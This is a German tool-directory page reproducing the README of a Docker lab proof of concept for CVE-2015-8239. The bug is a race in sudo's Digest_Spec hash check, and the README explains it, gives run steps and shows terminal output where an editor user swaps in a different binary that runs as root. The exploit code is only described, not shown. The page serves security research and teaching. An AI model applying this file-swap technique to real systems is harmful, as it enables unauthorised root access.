Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
sudo_digest_toctou_poc_CVE-2015-8239 — Docker-basierter Proof-of-Concept, der eine TOCTOU-Race-Condition-Ausnutzung gegen die Digest_Spec-Funktion von sudo (CVE-2015-8239) demonstriert, wobei inotify für dateiübergreifende Ersetzungsangriffe verwendet wird. | Kitploit
Tools/GitHubGitHub/justinsteven/sudo_digest_toctou_poc_cve-2015-8239
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungLabs & Praxis
GitHubjustinsteven/sudo_digest_toctou_poc_cve-2015-8239

sudo_digest_toctou_poc_CVE-2015-8239

Docker-basierter Proof-of-Concept, der eine TOCTOU-Race-Condition-Ausnutzung gegen die Digest_Spec-Funktion von sudo (CVE-2015-8239) demonstriert, wobei inotify für dateiübergreifende Ersetzungsangriffe verwendet wird.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 5 JahrenNoch nicht geprüft

sudoers Digest_Spec TOCTOU POC

Begründung

Alyssa Milburn (https://twitter.com/noopwafel) entdeckte einen TOCTOU-Race-Condition-Bug in sudo, wenn die Einstellung Digest_Spec verwendet wird. Die Einstellung Digest_Spec kann verwendet werden, um einem Benutzer zu erlauben, ein Binary mit sudo auszuführen, genau dann, wenn dessen Hash einem vorgegebenen Wert entspricht. Siehe man sudoers und suchen Sie nach Digest_Spec für weitere Informationen zu dieser Funktion, und siehe http://noopwafel.net/notes/2015/sudo-digest-race-condition.html für weitere Informationen zu dem von Alyssa entdeckten Bug. Das Problem wurde als CVE-2015-8239 zugewiesen.

Das Problem wurde entschärft, indem der Dokumentation von man sudoers eine Warnung vor der Möglichkeit einer Race Condition hinzugefügt wurde, und indem etwas fexecve()-Magie zu sudo hinzugefügt wurde, um zu versuchen, bestimmte Arten von Dateiänderungen unwirksam zu machen.

Interessanterweise sagte cve-assign Folgendes auf https://seclists.org/oss-sec/2015/q4/256:

root@kitploit:~
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.

Dieser POC zeigt, dass diese Aussage nicht unbedingt wahr ist, vorausgesetzt, der „writer“-Benutzer kann persistenten Code auf dem System ausführen. Der „writer“-Benutzer kann inotify nutzen, um zu erkennen, wann der „executor“-Benutzer die Datei mit sudo ausführt, und kann zu diesem Zeitpunkt einen Dateiaustausch-Angriff versuchen.

Über

Dieses Projekt erstellt ein Docker-Image, das:

  • Eine Datei unter /opt/sudoable hat, die vom Benutzer editor beschreibbar ist und vom Benutzer executor mit sudo ausgeführt werden kann, genau dann, wenn ihr SHA256-Hash einem bestimmten Wert entspricht.
  • Eine Datei unter /opt/hello (die „gute“ Datei, deren SHA256-Hash in sudoers eingetragen ist) und eine Datei unter /opt/goodbye (eine „böse“ Datei) hat.
  • /opt ist nur vom Benutzer root beschreibbar (daher kann der Benutzer editor den Inhalt von /opt/sudoable ersetzen, aber keinen Dateisystem-Dateiaustauschvorgang durchführen).
  • Ein auf inotify basierender TOCTOU-Exploit unter /home/editor/exploit/exploit.py.

Wenn /home/editor/exploit/exploit.py vom Benutzer editor ausgeführt wird, wird inotify verwendet, um Dateisystemereignisse zu überwachen. Wenn auf die Datei /opt/sudoable zugegriffen wird, wird sie durch /opt/goodbye ersetzt. Nachdem die Datei dann geschlossen wurde, wird sie durch /opt/hello ersetzt, um einen „normalen“ Zustand zu hinterlassen.

Angenommen, diese Race gelingt, wenn der Benutzer executor sudo /opt/sudoable ausführt (was auf meinem Rechner die meiste Zeit der Fall ist), kann der Benutzer editor bewirken, dass der Benutzer executor ein schädliches Binary als root ausführt, unabhängig davon, dass der SHA256-Hash als Digest_Spec-Wert in sudoers angegeben ist.

Erstellung

Führen Sie make all aus

Ausführung

  1. Führen Sie ./instantiate.sh aus
  2. Führen Sie tmux new-session aus und teilen Sie den Bereich (Ctrl+b dann "; verwenden Sie Ctrl+b dann Auf/Ab, um zwischen den Bereichen zu wechseln)
  3. Im oberen Bereich führen Sie sudo -u executor sudo /opt/sudoable aus und beobachten Sie die Ausgabe Hello uid=0
  4. Im unteren Bereich führen Sie sudo -u editor cp /opt/goodbye /opt/sudoable aus
  5. Im oberen Bereich führen Sie sudo -u executor sudo /opt/sudoable aus und beobachten Sie, dass Sie nach einem Passwort gefragt werden (d.h. der sudo-Vorgang ist aufgrund einer Hash-Abweichung fehlgeschlagen)
  6. Im unteren Bereich führen Sie sudo -u editor /home/editor/exploit/exploit.py aus
  7. Im oberen Bereich führen Sie sudo -u executor sudo /opt/sudoable einige Male aus und beobachten Sie die gelegentliche Ausgabe von

Beispielausgabe

Oberer Bereich:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0

Unterer Bereich:

root@kitploit:~
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable

Oberer Bereich:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for executor:

Unterer Bereich:

root@kitploit:~
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py

Oberer Bereich:

root@kitploit:~
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy

Weitere Arbeit

In welchen Fällen ist die fexecve()-Entschärfung tatsächlich wirksam? Wenn ein Benutzer Schreibzugriff auf die sudoable-Datei, aber nicht auf das Verzeichnis hat, in dem sie sich befindet, kann er die von sudo geöffnete Datei ändern. Wenn der Benutzer Schreibzugriff auf das Verzeichnis, aber nicht auf die Datei hat, kann er die Datei aus dem Weg verschieben und neu erstellen, sodass er sie ändern kann, und wir sind wieder am Ausgangspunkt.

Grüße

Danke an Luke (https://twitter.com/lukejahnke) dafür, dass er mir von der Einstellung Digest_Spec erzählt, einige Ideen ausgetauscht und die Verwendung von inotify für einen sauberen Cross-User-POC vorgeschlagen hat.

Tool herunterladen
Goodbye uid=0